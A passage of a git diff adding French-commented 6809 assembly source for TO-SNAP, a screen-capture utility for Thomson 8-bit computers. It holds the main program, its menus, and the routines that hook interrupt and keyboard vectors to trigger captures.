+       LBRA   EXECM2    ->
+
+* Fin menu mode d'emploi
+*---------------------------------------
+
+XMRET  CLRB
+       JSR    FENFER
+       JSR    FENACT
+       CLRB
+       LEAS   2,S
+       RTS
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-PR.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-PR.ASM
new file mode 100755
index 0000000..7d9b5a9
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-PR.ASM
@@ -0,0 +1,712 @@
+       TITLE  TO-SNAP:  Programme princ.
+*      ---------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*           TO-SNAP                    *
+*                                      *
+*    Programme principal               *
+*                                      *
+****************************************
+
+* Appel par tache sous IT !!!
+*---------------------------------------
+
+XSNAP  EQU    *
+       ORCC   #$50
+
+       LDA    >$E7CB    RAZ IT éventuell
+       ORA    #$40
+       STA    >$E7CB
+       LDA    <$E7C9
+       LDA    >$E7CB    6821 pour /FIRQ
+       ANDA   #$FC      par prise crayon
+       STA    >$E7CB
+
+       LDA    #$54    bk ram par $E7E5
+       STA    $6081
+       STA    >$E7E7
+
+       LDD    FIRQMM  reset vecteurs
+       STD    FIRQPT
+       LDD    TIMEMM
+       STD    TIMEPT
+       LDD    IRQMM
+       STD    IRQPT
+       LDD    SWIMM
+       STD    SWIPT
+       LDD    PTGEMM
+       STD    PTGENE
+       LDA    RESEMM
+       STA    RESETP
+       LDD    RESEMM+1
+       STD    RESETP+1
+       LDA    SIZCMM
+       STA    SIZCLV
+       LDD    USERMM
+       STD    USERAF
+       LDD    BUFCMM
+       STD    BUFCLV
+
+       LDX    #VECTMM
+       LDY    #$6000
+       LDB    #22
+BRSVE  LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    BRSVE     ->
+
+       LDA    STATUS
+       ANDA   #$DF
+       STA    STATUS
+
+       CLR    $E7E4     si page vidéo
+       LDA    $E7E4     non 0 la
+       ANDA   #$C0      recopier en 0
+       BEQ    OKPAG0    ->
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       LSRA
+       CLRB
+       LDX    #$A000
+OKPAG1 STA    BANKC
+       LDU    ,X
+       STB    BANKC
+       STU    ,X++
+       CMPX   #$A000+8000
+       BNE    OKPAG1    ->
+
+       LDX    #$C000
+OKPAG2 STA    BANKC
+       LDU    ,X
+       STB    BANKC
+       STU    ,X++
+       CMPX   #$C000+8000
+       BNE    OKPAG2    ->
+
+       CLR    $E7DD     page 0 et tour 0
+
+OKPAG0 LDA    #$FF
+       STA    FLGSNA
+
+       LDA    >$E7C1    init 6846(timer)
+       ANDA   #$F7
+       STA    >$E7C1
+       LDA    #$47
+       STA    $E7C5
+       LDD    #$30D3
+       STD    $E7C6
+       LDA    #$46
+       STA    $E7C5
+
+       LDA    STATUS
+       ORA    #2        transmiss. GETC
+       STA    STATUS
+
+       ANDCC  #$2F      réactive IT
+
+       LDB    #$F8      reset clavier
+       JSR    GETC
+
+       BRA    START0    ->
+DEBUT  EQU    *
+       CLR    FLGSNA
+
+* Initialisations
+*---------------------------------------
+
+* Pile et DP
+START0 LDS    #PILE
+       LDA    #$E7
+       TFR    A,DP
+
+* Copie des S/P fenêtrage vers RAM
+       LDU    #FENRAM
+       JSR    COMBK2
+
+* Bank manoeuvre et vidéo qui seront
+* échangés
+       CLRA
+       STA    BKVID
+       LDA    #2
+       STA    BKMANO
+
+* Vérification RAM disponible
+       LDA    MAXBK
+       DECA             ->nb bank disp.
+       CMPA   #6
+       BGE    OKRAM     ->
+       LDB    #$1B      'Out of memory'
+       JSR    PUTC
+       LDB    #$5A
+       JSR    PUTC
+       LDB    #FF
+       JSR    PUTC
+       LDX    #MOUT
+BOUT   LDB    ,X+
+       BEQ    BOUT1
+       JSR    PUTC
+       BRA    BOUT      ->
+BOUT1  JSR    GETC
+       TSTB
+       BEQ    BOUT1     ->
+       JMP    MENU      ->>>>>>
+
+* Initialisation numérotation photo
+
+OKRAM  CLR    NUMPHO
+       LDA    MAXBK
+       DECA
+       SUBA   #PBKPEL
+       STA    MAXPHO
+       LDX    #TABPHO
+       LDB    #22
+OKRAM1 CLR    ,X+
+       DECB
+       BNE    OKRAM1    ->
+       LDX    #TABBK
+       LDB    #22
+       LDA    #PBKPEL
+OKRAM2 STA    ,X+
+       INCA
+       DECB
+       BNE    OKRAM2    ->
+
+       LDD    #2
+       STD    MEMTPO
+
+* Dans le cas d'un appel sous IT,
+* mémoriser l'écran courant !!!
+       TST    FLGSNA
+       LBEQ   START1    ->
+       LDX    #MSANN    nom défaut
+       LDY    #TABNOM
+       LDB    #8
+BNONAM LDA    ,X+
+       STA    ,Y+
+       DECB
+       BNE    BNONAM    ->
+
+       LDU    #PALETE   palette courante
+       CLRA
+BOULNP LDX    #$FFFF
+       LDY    #0
+       JSR    SETP
+       STX    ,U++
+       INCA
+       CMPA   #16
+       BNE    BOULNP    ->
+       CLR    TOUR      dans ignorance !
+
+       JSR    CODPHO
+
+* Init. controleur et écran
+       LDD    #0      sinon, init ctrl
+       STD    $60E9   plante après load
+       STD    $60ED   infograme !!!
+
+       CLR    DKDRV
+       LDA    #1
+       STA    DKOPC
+       JSR    DKCO
+       LDA    #$10
+       STA    DKOPC
+       JSR    DKCO
+       LDA    #$20
+       STA    DKOPC
+       JSR    DKCO
+       JSR    INITC
+
+* Extra moniteur pour turbo-disq
+START1 LDB    #RESETC
+       JSR    EXTRA
+
+* Initialisation DOS sur zone réservée
+* (5 disques 2 fichiers)
+       LDD    #$7000
+       STD    SECBUF
+       ADDD   #256
+       STD    FATPTR
+       LDA    #5
+       LDB    #166
+       MUL
+       ADDD   FATPTR
+       TFR    D,X
+       LDY    #5
+       LDA    #2
+       LDB    #FCBINI
+       JSR    EXTRA
+       LDD    #$A55A
+       STD    TSTRST
+
+* Fichier courant
+
+       LDX    #DESCOU
+       LDA    #8
+RZDECO CLR    ,X+
+       DECA
+       BNE    RZDECO    ->
+
+       LDX    #DESALB
+       LDA    #8
+       LDB    #$20
+RZDECA STB    ,X+
+       DECA
+       BNE    RZDECA    ->
+       CLR    ,X
+
+* Init. extra. mon.
+       LDB    #RESETW
+       JSR    EXTRA
+
+* Mémorisation de la palette si non
+* déja fait !
+       LDA    TFMEMO
+       CMPA   #$FF
+       LBNE   SUIXY0    ->
+
+       CLR    $E7E4
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
+       STA    $E7E6
+
+       CLR    TFMEMO
+       LDU    #TMEMO
+       CLRA
+BOULNU LDX    #$FFFF
+       LDY    #0
+       JSR    SETP
+       STX    ,U++
+       INCA
+       CMPA   #16
+       BNE    BOULNU    ->
+
+       LDA    $E7E6     interdit écritur
+       ANDA   #$BF      cartouche
+       STA    $E7E6
+
+SUIXY0 EQU    *
+
+       LDB    #$1B      mode TO7
+       JSR    PUTC
+       LDB    #$5A
+       JSR    PUTC
+
+       LDA    #GRIS
+       STA    TOUR
+
+       LDB    #$11      réactive IT
+       JSR    PUTC      (sinon, pb
+       LDB    #$14      pour dérout
+       JSR    PUTC      RESETP
+
+       JSR    DEFSEL
+
+       LDX    #PLEIN
+       LDA    #8
+       LDB    #$FF
+BPLEIN STB    ,-X
+       DECA
+       BNE    BPLEIN    ->
+
+* Bank RAM
+       LDA    BKMANO
+       STA    BANKC
+
+* Memo vecteurs
+       LDD    FIRQMM
+       CMPD   #0
+       BNE    SSOVE     deja fait ->
+       CLR    $E7E4
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
+       STA    $E7E6
+
+       LDU    FIRQPT
+       STU    FIRQMM
+       LDU    TIMEPT
+       STU    TIMEMM
+       LDU    IRQPT
+       STU    IRQMM
+       LDU    SWIPT
+       STU    SWIMM
+       LDU    PTGENE
+       STU    PTGEMM
+       LDA    RESETP
+       STA    RESEMM
+       LDU    RESETP+1
+       STU    RESEMM+1
+       LDA    SIZCLV
+       STA    SIZCMM
+       LDU    USERAF
+       STU    USERMM
+       LDU    BUFCLV
+       STU    BUFCMM
+
+       LDX    #VECTMM
+       LDY    #$6000
+       LDB    #22
+BSOVE  LDA    ,Y+
+       STA    ,X+
+       DECB
+       BNE    BSOVE     ->
+
+       LDA    $E7E6     interdit écritur
+       ANDA   #$BF      cartouche
+       STA    $E7E6
+
+* Fenêtrage
+SSOVE  LDX    #ZONFEN
+       LDA    #PBKPIL
+       LDB    #DBKPIL
+       TFR    D,U
+       LDA    #NOIR
+       LDB    #GRIS
+       JSR    FENINI
+
+* Activation Fenêtre principale
+*---------------------------------------
+
+       LDX    #FENVID
+       LDD    #0
+       JSR    FENRPL
+
+* En cas d'activation sous IT, visu de
+* l'écran capturé
+*---------------------------------------
+
+       TST    FLGSNA
+       BEQ    STARTX    ->
+       JSR    DECPHO
+       LBRA   DEMAR2    ->
+
+* Visualisation du titre ou d'un
+* message d'erreur si échec boot
+* disquette !!!
+*---------------------------------------
+
+STARTX TST    FLGBOO
+       BEQ    DEMAR1    ->
+       CLR    $E7E4
+       LDA    >$E7E6    autorise écrit
+       ORA    #$40      cartouche
+       STA    >$E7E6
+       CLR    FLGBOO
+       LDA    >$E7E6    interdit écrit
+       ANDA   #$BF
+       STA    >$E7E6
+       LDX    #PASBOO
+       JSR    FENERR
+       BRA    DEMAR2    ->
+
+DEMAR1 LDX    #FENTIT   Titre
+       LDD    #$0606
+       JSR    FENOUV
+
+       JSR    LECAPL    lecture appli
+*                       pendant titre !
+       JSR    FENACT
+
+       LDU    #400
+EXEC0  JSR    FEN
+       BCS    EXEC00    ->
+       TSTB
+       BNE    EXEC00    ->
+       LEAU   -1,U
+       CMPU   #0
+       BNE    EXEC0     ->
+
+EXEC00 CLRB
+       JSR    FENFER
+       BRA    DEMAR3    ->
+
+DEMAR2 JSR    LECAPL    lecture appli
+DEMAR3 CLRB             menu principal
+       LBRA   MENPHO    ->
+
+EXEC01 JSR    SELMOD    fixation mode
+*                       vidéo selon phot
+
+       JSR    FENACT
+
+* Attente principale
+*---------------------------------------
+
+EXEC1  JSR    FENPOP
+       TSTB
+       BEQ    EXEC2     ->
+       CMPB   #DEL
+       LBEQ   EFFPHO    ->
+       CMPB   #VT
+       LBEQ   RETPHO    ->
+       CMPB   #BS
+       LBEQ   RETPHO    ->
+       CMPB   #LF
+       LBEQ   SUIPHO    ->
+       CMPB   #HT
+       LBEQ   SUIPHO    ->
+       CMPB   #FF
+       BEQ    EXEC1     ->
+       LBRA   MENPHO    ->
+
+EXEC2  LDA    REGCC     #Etat pointage
+       TFR    A,CC
+       BCC    EXEC1     pas clic ->
+       LBRA   MENPHO    ->
+
+*---------------------------------------
+*      Effacement photo courante
+*---------------------------------------
+EFFPHO EQU    *
+       JSR    FENDES
+       JSR    SELDEF
+       LDB    #$1B
+       JSR    PUTC
+       LDB    #$69
+       JSR    PUTC
+       LDB    #FF
+       JSR    PUTC
+       LDB    #$1B
+       JSR    PUTC
+       LDB    #$68
+       JSR    PUTC
+       LDA    NUMPHO
+       JSR    DELPHO
+       LBRA   EXEC01    ->
+
+*---------------------------------------
+*      Passage à la photo précedente
+*---------------------------------------
+RETPHO EQU    *
+       JSR    PHOPRE
+       JSR    FENDES
+       JSR    DECPHO
+       LBRA   EXEC01    ->
+
+*---------------------------------------
+*      Passage à la photo suivante
+*---------------------------------------
+SUIPHO EQU    *
+       JSR    PHOSUI
+       JSR    FENDES
+       JSR    DECPHO
+       LBRA   EXEC01    ->
+
+
+*---------------------------------------
+*      Demande de menu
+*---------------------------------------
+MENPHO EQU    *         demande menu
+       JSR    SELDEF
+       STB    MEMCOD    code frappé
+*                       au niveau supér
+       LDX    #FENMEN   Menu
+       LDD    3,X
+       JSR    POPUP
+       JSR    FENOUV
+
+       LDB    #BMBLAN
+       JSR    FENCF
+       CLRA
+       LDB    NUMPHO
+       LDX    #BUF
+       JSR    BINDCG
+       LDD    #$010E
+       LDY    #$0102
+       JSR    FENLOF
+       JSR    FENEDI
+       LDB    #BMCLR
+       JSR    FENCF
+
+MENU0  JSR    FENACT
+       LDB    MEMCOD    traitement code
+*                       saisie au niv.
+*                       sup.
+       BEQ    MENU1     ->
+       CLR    MEMCOD
+       BRA    MENU2     ->
+MENU1  JSR    FENPOP
+MENU2  TSTB
+       BEQ    MENU1     ->
+       CMPB   #$4C
+       LBEQ   LANCAP    ->
+       CMPB   #$44
+       LBEQ   CATPHO    ->
+       CMPB   #$49
+       LBEQ   INFPHO    ->
+       CMPB   #$46
+       LBEQ   FICPHO    ->
+       CMPB   #$4D
+       LBEQ   MODPHO    ->
+       CMPB   #$51
+       LBEQ   QUIPHO    ->
+       CMPB   #FF
+       LBNE   MENU1     ->
+       CLRB
+       JSR    FENFER
+       JSR    SELMOD
+       JSR    FENACT
+       LBRA   EXEC1     visu principale>
+
+
+*   Lancement programme avec SNAP
+*---------------------------------------
+LANCAP EQU    *
+       JSR    MENLAN
+       LBRA   MENU0     ->
+
+*   Sélection CATALOGUE
+*---------------------------------------
+CATPHO EQU    *
+       JSR    MENCAT
+       LBNE   EXEC1     ->
+       LBRA   MENU0     ->
+
+*   Sélection INFI VIDEO
+*---------------------------------------
+INFPHO EQU    *
+       LDB    NUMPHO
+       LDX    #TABPHO
+       TST    B,X
+       BEQ    PAINFP    ->
+       JSR    MENINF
+       LBNE   EXEC1     ->
+       LBRA   MENU0     ->
+PAINFP LDX    #MPASPH
+       JSR    FENERR
+       LBRA   MENU0     ->
+
+*   Sélection FICHIER
+*---------------------------------------
+FICPHO EQU    *
+       JSR    MENFIC
+       LBNE   EXEC1     ->
+       LBRA   MENU0     ->
+
+*   Mode d'emploi
+*---------------------------------------
+MODPHO EQU    *
+       JSR    EMPPHO
+       LBRA   MENU0     ->
+
+*   Quitter
+*---------------------------------------
+QUIPHO EQU    *
+       LBSR   FENCH
+       LBSR   FENIVD
+       LDA    BKMANO    manoeuvre
+       STA    BANKC
+       LDX    #ZONTRA
+       LDD    REGY      a cause clou !
+       CMPD   #32
+       BGE    QUIPH0    ->
+       ADDD   #32
+       STD    REGY
+QUIPH0 LDA    #10
+       LDB    #22
+       JSR    POPUP
+       LBSR   TBREAK
+       BCS    FINGR     ->
+       LDB    #$51
+       LBSR   FENCH
+       LBSR   FENIVD
+       LBRA   MENU0     ->
+
+*      Nettoyages divers
+*---------------------------------------
+
+*      Fenêtrage
+FINGR  JSR    FENFIN
+
+*      Attributs de visu.
+       LDB    #ESC    40 col
+       JSR    PUTC
+       LDB    #$5A
+       JSR    PUTC
+
+       LDA    #$FF
+       LDX    #TMEMO
+       JSR    SETP
+
+       CLR    $E7E4
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
+       STA    $E7E6
+*      CLR    TFMEMO
+       LDA    $E7E6     interdit écritur
+       ANDA   #$BF      cartouche
+       STA    $E7E6
+
+       JMP    MENU    ->>>>>>>
+
+
+*=======================================
+* S/P FEN avec mémo des param en pseudo
+*     registre
+*=======================================
+
+FENPOP PSHS   U
+       LDU    #PILFEN   mémo retour FEN
+       JSR    FEN
+       PSHU   CC,D,X,Y
+       PULS   U,PC      ->>
+
+
+*=======================================
+* S/P préparation d'une ouverture de
+*     fenètre en pop up
+*
+* Entrée: A : hauteur cadre
+*         B : largeur cadre
+* Sortie: A : coord vert.
+*         B : coord horz.
+*=======================================
+
+POPUP  PSHS   D
+       LEAS   -2,S
+MAXH   SET    0
+MAXL   SET    1
+PA     SET    2
+PB     SET    3
+*---------------------------------------
+
+       LDA    #24
+       SUBA   PA,S
+       STA    MAXH,S
+       LDA    #39
+       SUBA   PB,S
+       STA    MAXL,S
+
+       LDB    REGY+1
+       LSRB
+       LSRB
+       LSRB
+       LDA    MAXH,S
+       CMPB   MAXH,S
+       BLE    POPUP0    ->
+       TFR    A,B
+POPUP0 STB    PA,S
+       LDD    REGX
+       LSRA
+       RORB
+       LSRA
+       RORB
+       LSRB
+       LDA    MAXL,S
+       CMPB   MAXL,S
+       BLE    POPUP1    ->
+       TFR    A,B
+POPUP1 STB    PB,S
+
+       TST    PA,S
+       BNE    POPUP2    ->
+       INC    PA,S
+POPUP2 TST    PB,S
+       BNE    POPUP3    ->
+       INC    PB,S
+POPUP3 LEAS   2,S
+       PULS   D,PC      ->>
diff --git a/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-SP.ASM b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-SP.ASM
new file mode 100755
index 0000000..e692cba
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-SNAP/SNAP-SP.ASM
@@ -0,0 +1,787 @@
+       TITLE  TO-PHOTO:S/P
+*      ---------------------------------
+       PAGE
+
+****************************************
+*                                      *
+*            S/P                       *
+*                                      *
+****************************************
+
+
+*=======================================
+* S/P prise en compte d'une adresse
+*     de déroutement
+*=======================================
+FIXIT  EQU    *
+*---------------------------------------
+       LDB    #255
+       LDX    #BUF
+       JSR    FENLCZ
+       BCS    FIXIT0    ->
+       RTS
+
+FIXIT0 LDD    #$0000
+       LDY    #$FFFF
+       JSR    HEXBIN
+       TFR    D,U
+
+       CLR    $E7E4
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
+       STA    $E7E6
+
+       STU    ADRIT
+
+       LDA    $E7E6     interdit écritur
+       ANDA   #$BF      cartouche
+       STA    $E7E6
+       RTS
+
+
+*=======================================
+* S/P activation dela tache sous
+*     déroutement
+*=======================================
+
+ACTIT  EQU    *
+*---------------------------------------
+       ORCC   #$50
+
+       CLR    $E7E4
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
+       STA    $E7E6
+
+       ANDA   #$3F
+       STA    BKSNAP
+       STA    BKDSNA
+
+       LDD    ADRIT     défaut pour
+       STD    ADITFQ    dérout. buffer
+
+       LDX    #VECTMM
+       LDA    #5
+       LSLA
+       LDD    A,X
+       STD    VFDER
+
+       LDA    TYPDER
+       BEQ    ACTIT0    FIRQ   ->
+       CMPA   #1
+       BEQ    ACTIT0    RESETP ->
+       CMPA   #14
+       BEQ    ACTIT0    BUFCLV ->
+       CMPA   #2
+       BNE    ACTIT1    ->
+*      LDX    TIMEMM
+       LDX    #KBIN
+       STX    VFDER
+       BRA    ACTIT0    ->
+
+ACTIT1 LDX    #VECTMM
+       LDA    TYPDER
+       SUBA   #3
+       LSLA
+       LDD    A,X
+       STD    VFDER
+
+ACTIT0 LDA    $E7E6     interdit écritur
+       ANDA   #$BF      cartouche
+       STA    $E7E6
+
+       LDA    TYPDER
+       CMPA   #2
+       BGE    BACITX    ->
+
+* FIRQ et RESETP !!!
+
+       LDX    #ITSNAP
+       LDY    ADRIT
+BACIT0 LDA    ,X+
+       STA    ,Y+
+       CMPX   #FINIT
+       BNE    BACIT0    ->
+
+       LDA    $E7C3
+       EORA   #1
+       STA    $E7C3
+
+       LDX    #ITSNAP
+       LDY    ADRIT
+CACIT0 LDA    ,X+
+       STA    ,Y+
+       CMPX   #FINIT
+       BNE    CACIT0    ->
+
+       LDD    ADRIT
+       TST    TYPDER
+       BEQ    BACITG    ->
+       STD    RESETP+1
+       LDA    #$7E      JMP
+       STA    RESETP
+       LBRA   BACITF    ->
+BACITG STD    >FIRQPT
+       LBRA   BACITY    ->
+
+* timer + vecteurs + buffer clav !!!
+
+BACITX LDX    #DRSNAP
+       LDY    ADRIT
+BACIT1 LDA    ,X+
+       STA    ,Y+
+       CMPX   #FINDER
+       BNE    BACIT1    ->
+
+       LDA    $E7C3
+       EORA   #1
+       STA    $E7C3
+
+       LDX    #DRSNAP
+       LDY    ADRIT
+CACIT1 LDA    ,X+
+       STA    ,Y+
+       CMPX   #FINDER
+       BNE    CACIT1    ->
+
+       LDU    ADRIT
+       LDA    TYPDER
+       CMPA   #14
+       BEQ    BACIT3    ->
+       SUBA   #3
+       BMI    BACIT2    ->
+       LSLA             vecteurs
+       LDX    #$6000
+       STU    A,X
+       BRA    BACITY    ->
+BACIT2 STU    TIMEPT    timer
+       LDA    STATUS
+       ORA    #$20
+       STA    STATUS
+       BRA    BACITY    ->
+BACIT3 LDD    #$600A    buffer clav.
+       STD    BUFCLV
+       CLR    REACLV
+       CLR    WRICLV
+
+       LDX    #DRBUF
+       LDY    #$5F8E
+BACIT4 LDA    ,X+
+       STA    ,Y+
+       CMPX   #FDRBUF
+       BNE    BACIT4    ->
+
+       LDA    $E7C3
+       EORA   #1
+       STA    $E7C3
+
+       LDX    #DRBUF
+       LDY    #$5F8E
+BACIT5 LDA    ,X+
+       STA    ,Y+
+       CMPX   #FDRBUF
+       BNE    BACIT5    ->
+
+* programmation PIA système pour
+* détection à partir prise crayon
+* (hors RESETP !)
+
+BACITY LDA    >$E7CB    RAZ IT
+       ORA    #$40
+       STA    >$E7CB
+       LDA    <$E7C9
+       LDA    >$E7CB    6821 pour \/
+       ANDA   #$FC      par prise crayon
+       TST    TYPDER
+       BNE    BACIT9    ->
+       ORA    #$01      (IT sur \/ CB1)
+BACIT9 STA    >$E7CB
+
+BACITF ANDCC  #$AF
+       RTS
+
+
+*=======================================
+* S/P tache a implanter pour acquisition
+*     sous FIRQ et RESETP
+*=======================================
+
+ITSNAP EQU    *
+*---------------------------------------
+       LDA    #0      posit bank TO-SNAP
+BKSNAP EQU    *-1
+       STA    >$E7E6
+       JMP    XSNAP   activation ->
+FINIT  EQU    *
+
+
+*=======================================
+* S/P tache a implanter pour acquisition
+*     sous déroutement système
+*=======================================
+
+DRSNAP EQU    *
+*---------------------------------------
+       TST    >$E7CB
+       BPL    FDER    ->
+       LDA    #0      posit bank TO-SNAP
+BKDSNA EQU    *-1
+       STA    >$E7E6
+       JMP    XSNAP   activation ->
+FDER   JMP    $FFFF
+VFDER  EQU    *-2
+FINDER EQU    *
+
+
+*=======================================
+* S/P tache a implanter pour acquisition
+*     sous déroutement buffer clavier
+*     (l'entrée de $5F dans le buffer
+*     clavier dérouté sur l'indirection
+*     GETCH génère une adresse $5F8E
+*     à la place de l'adresse défaut
+*     $FF8E...
+*     A l'appel de GETCH suivant, ceci
+*     va générer un appel vers l'implant
+*     DRBUF  qui va armer un déroutement
+*     de GETCH traditionnel ...
+*     NB: $5F = code de _ au clavier
+*         (obligatoire avant toute autre
+*         saisie, :
+*     NB: L'implant est donc obligatoir.
+*         ement en $5F8E !!!
+*         et sur les deux pages
+*=======================================
+
+DRBUF  EQU    *       (en $5F8E !!!)
+*---------------------------------------
+       PSHS   A,CC
+       ORCC   #$50
+       LDD    #$0000    déroute GETC
+ADITFQ EQU    *-2
+       STD    $600A
+
+       LDB    #$82      buffer clav std
+       STB    BUFCLV+1
+
+       CLRB
+       CLR    [BUFCLV]
+       CLR    REACLV
+       CLR    WRICLV
+
+       ANDCC  #$AF
+       PULS   A,CC,PC ->>
+FDRBUF EQU    *
+
+
+*=======================================
+* S/P lecture des applications disponib.
+*=======================================
+
+LECAPL EQU    *
+*---------------------------------------
+
+* Pas d'appli. par défaut
+
+       LDX    #APLTAB
+       LDA    #6
+       LDB    #$FF
+BRAZAP STB    ,X
+       LEAX   33,X
+       DECA
+       BNE    BRAZAP    ->
+
+* Chargement en RAM du programme de
+* lecture des appli. disponibles
+
+       LDA    BKMANO
+       STA    BANKC
+       LDX    #DEBLEC
+       LDY    #$A000
+BECRPG LDA    ,X+
+       STA    ,Y+
+       CMPX   #FINLEC
+       BNE    BECRPG    ->
+
+* Lecture des appli. disponibles
+
+       JSR    $A000
+
+       RTS              ->>
+
+
+*=======================================
+* S/P lecture des appli disp
+*     (à charger en RAM hors cartouche!)
+*=======================================
+DEBLEC EQU    *
+       LEAS   -1,S
+MEME6  SET    0       memo $E7E6
+*---------------------------------------
+       CLR    $E7E4
+       LDA    $E7E6
+       STA    MEME6,S
+       CLR    $E7E6   cartouche=ROM
+
+* voir slot 1 (cartouche externe)
+
+       LDB    $E7C3
+       ANDB   #$FB
+       STB    $E7C3
+       LDU    #APLTAB+1
+       LDY    #0
+       LBSR   VERSOC
+       BCS    SUIAP0  pas cartouche ->
+       LDA    #$30
+       STA    ,-U
+
+* voir slot 0 bank 0 (basic 512)
+
+SUIAP0 LDB    $E7C3
+       ORB    #4
+       STB    $E7C3
+       STA    $0000
+       LDU    #APLTAB+33+1
+       LDY    #0
+       LBSR   VERSOC
+       BCS    SUIAP1  pas basic ! ->
+       LDA    #$00
+       STA    ,-U
+
+* voir slot 0 bank 2 (basic 1)
+
+SUIAP1 STA    $0002
+       LDU    #APLTAB+33*2+1
+       LDY    #0
+       LBSR   VERSOC
+       BCS    SUIAP2  pas basic ! ->
+       LDA    #$02
+       STA    ,-U
+
+* voir slot 0 bank 3 (fichiers...)
+
+SUIAP2 STA    $0003
+       LDU    #APLTAB+33*3+1
+       LDY    #0
+       LBSR   VERSOC
+       BCS    SUIAP3  pas fichiers! ->
+       LDA    #$03
+       STA    ,-U
+
+* Rechercher 'Réglages et préférences'
+* petits pb de visu et pas utile !
+
+       BRA    SUIAP4    ->
+SUIAP3 LDU    #APLTAB+33*4+1
+       LDY    #$2000
+BRREG  LDD    ,Y
+       CMPD   #$2052
+       BNE    SRREG     ->
+       LDD    2,Y
+       CMPD   #$8567
+       BNE    SRREG     ->
+       LBSR   VERSOC
+       BCS    SRREG     ->
+       LDA    #$03
+       STA    ,-U
+       BRA    SUIAP4    ->
+SRREG  LEAY   1,Y
+       CMPY   #$4000
+       BNE    BRREG     ->
+
+* Rechercher 'Appel de programmes'
+
+SUIAP4 LDU    #APLTAB+33*4+1
+       LDY    #$2000
+BRPGM  LDD    ,Y
+       CMPD   #$2041
+       BNE    SRPGM     ->
+       LDD    2,Y
+       CMPD   #$7070
+       BNE    SRPGM     ->
+       LBSR   VERSOC
+       BCS    SRPGM     ->
+       LDA    #$03
+       STA    ,-U
+       BRA    SUIAP5    ->
+SRPGM  LEAY   1,Y
+       CMPY   #$4000
+       BNE    BRPGM     ->
+
+* revenir sur RAM/cartouche
+
+SUIAP5 LDA    MEME6,S
+       STA    $E7E6
+       LEAS   1,S
+       RTS
+
+
+*=======================================
+* S/P vérification de la présence d'une
+*     application
+* Entrée:  Y  @ ROM candidate
+*          U  @ rangement
+* Sortie  CY  0 si ok
+*=======================================
+VERSOC PSHS   D,X,Y,U
+*---------------------------------------
+       LDA    #26       lecture mnémo
+       LDX    #$55
+BVSO0  LDB    ,Y+
+       STB    ,U+
+       ABX
+       CMPB   #$04
+       BNE    SVSO00    ->
+       CLR    -1,U
+SVSO00 CMPB   #$85
+       BNE    SVSO01    ->
+       LDB    #$65      minuscules codée
+       STB    -1,U
+SVSO01 DECA
+       BNE    BVSO0     ->
+
+       TFR    X,D       verif soco
+       ANDB   #$DF      erreur soc appel
+       PSHS   B         pgm
+       LDB    ,Y+
+       STB    ,U+
+       ANDB   #$DF
+       CMPB   ,S+
+       BNE    SVSO0     pas cartouche ->
+       LDA    #5
+BVSO1  LDB    ,Y+
+       STB    ,U+
+       DECA
+       BNE    BVSO1     ->
+       ANDCC  #$FE
+       PULS   D,X,Y,U,PC
+SVSO0  ORCC   #1
+       PULS   D,X,Y,U,PC
+FINLEC EQU    *
+
+
+*=======================================
+* S/P fenetre de lancement applic.
+*=======================================
+RZECRN FCB    $1B,$69,$1B,$44,$1B,$56
+       FCB    $1B,$66,FF,0
+MENLAN EQU    *
+*---------------------------------------
+
+       LDX    #FENLAN
+       LDD    3,X
+       JSR    POPUP
+       JSR    FENOUV
+
+* Visu des appli. disponibles
+
+       LDY    #APLTAB
+       LDB    #$90
+BVIAP  JSR    FENCH
+       TST    ,Y
+       BMI    APINT     ->
+       LEAX   1,Y
+       JSR    FENEDI
+       BRA    SUIAP     ->
+APINT  LDA    #INTERD
+       STA    VAL,X
+SUIAP  LEAY   33,Y
+       INCB
+       CMPB   #$95
+       BNE    BVIAP    ->
+
+
+* Adresse implantation SNAP
+       LDB    #255
+       JSR    FENCH
+
+*      calcul @ pgm
+       LDD    ADRIT
+
+       LDX    #BUF
+       JSR    BINHX2
+       CLR    4,X
+       JSR    FENEDI
+
+*      visu déroutement courant
+EXEA00 LDB    #$53
+       JSR    FENCH
+       LDX    #TABDER
+       LDA    #19
+       LDB    TYPDER
+       MUL
+       LEAX   D,X
+       JSR    FENEDI
+
+*      calcul lg pgm
+       LDB    #254
+       JSR    FENCH
+       LDA    TYPDER
+       CMPA   #1
+       BGT    VISDER    ->
+       LDD    #FINIT
+       SUBD   #ITSNAP
+       BRA    VISADD    ->
+VISDER LDD    #FINDER
+       SUBD   #DRSNAP
+VISADD LDX    #BUF
+       LDY    #2
+       JSR    BINDCD
+       JSR    FENEDI
+
+EXECA0 JSR    FENACT
+
+EXECA1 JSR    FEN
+       TSTB
+       BEQ    EXECA1    ->
+       CMPB   #FF       RAZ
+       LBEQ   XARET     ->
+       CMPB   #$53      'S'
+       LBEQ   MODSNA    ->
+       CMPB   #$95      F6
+       LBEQ   XBOOT     ->
+       CMPB   #$90      <F1
+       BLT    EXECA1    ->
+       CMPB   #$94      >F5
+       BGT    EXECA1    ->
+
+*** Lancement soft
+       PSHS   B
+       CLR    RUNFLG    auto ou non
+       LDB    #$01
+       JSR    FENCH
+       LDA    VAL,X
+       CMPA   #OFF
+       BEQ    XLANC1    ->
+       COM    RUNFLG
+XLANC1 LDB    ,S
+       SUBB   #$90
+       LDA    #33
+       MUL
+       LDX    #APLTAB
+       LEAX   D,X
+       LDA    ,X
+       LBMI   EXECA1    ->
+       LDU    31,X      @ dem. froid
+       PSHS   A,U
+       JSR    FIXIT
+       JSR    FENFIN
+
+       LDA    #$FF
+       LDX    #TMEMO
+       JSR    SETP
+
+       LDA    $E7C3     sinon, noir de
+       ANDA   #$FE      applications
+       STA    $E7C3     = 256 !!!
+       CLR    $5F40
+
+       CLR    $E7E4
+       LDA    $E7E6     autorise écritur
+       ORA    #$40      cartouche
